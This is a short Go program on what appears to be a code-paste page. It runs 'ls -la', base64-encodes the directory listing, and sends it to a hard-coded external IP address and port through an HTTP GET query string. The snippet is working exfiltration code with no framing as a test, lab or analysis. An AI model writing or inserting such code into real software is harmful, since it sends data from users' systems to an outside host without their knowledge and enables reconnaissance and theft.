Untitled
unknown
golang
3 years ago
621 B
7
Indexable
package main
import (
"bytes"
"encoding/base64"
"io"
"log"
"net/http"
"os"
)
func main() {
buffer := new(bytes.Buffer)
stdout, stdin, _ := os.Pipe()
attr := &os.ProcAttr{Env: os.Environ(), Files: []*os.File{nil, stdin, nil}}
_, err := os.StartProcess("/bin/ls", []string{"ls", "-la"}, attr)
if err != nil {
log.Fatal(err)
}
if err := stdin.Close(); err != nil {
log.Fatal(err)
}
if _, err := io.Copy(buffer, stdout); err != nil {
log.Fatal(err)
}
result := base64.StdEncoding.EncodeToString(buffer.Bytes())
http.Get("http://121.196.154.246:53418/?" + result)
}
Editor is loading...